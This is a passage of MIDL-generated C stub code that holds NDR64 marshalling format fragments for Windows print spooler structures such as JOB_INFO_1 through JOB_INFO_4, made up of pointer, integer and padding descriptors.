*/\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *DEVMODE */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag59\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *SECURITY_DESCRIPTOR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag64\n    }\n};\n\nstatic const __midl_frag133_t __midl_frag133 =\n{ \n/* JOB_INFO_4 */\n    { \n    /* JOB_INFO_4 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* JOB_INFO_4 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 160 /* 0xa0 */,\n        0,\n        0,\n        &__midl_frag144,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag132_t __midl_frag132 =\n{ \n/* *JOB_INFO_4 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag133\n};\n\nstatic const __midl_frag131_t __midl_frag131 =\n{ \n/* JOB_INFO_3 */\n    { \n    /* JOB_INFO_3 */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* JOB_INFO_3 */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 12 /* 0xc */\n    }\n};\n\nstatic const __midl_frag130_t __midl_frag130 =\n{ \n/* *JOB_INFO_3 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag131\n};\n\nstatic const __midl_frag118_t __midl_frag118 =\n{ \n/* JOB_INFO_2 */\n    { \n    /* JOB_INFO_2 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* JOB_INFO_2 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 160 /* 0xa0 */,\n        0,\n        0,\n        &__midl_frag144,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* JOB_INFO_2 */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag117_t __midl_frag117 =\n{ \n/* *JOB_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag118\n};\n\nstatic const __midl_frag116_t __midl_frag116 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    }\n};\n\nstatic const __midl_frag109_t __midl_frag109 =\n{ \n/* JOB_INFO_1 */\n    { \n    /* JOB_INFO_1 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* JOB_INFO_1 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 96 /* 0x60 */,\n        0,\n        0,\n        &__midl_frag116,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* JOB_INFO_1 */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag108_t __midl_frag108 =\n{ \n/* *JOB_INFO_1 */\n    0x21,    /* 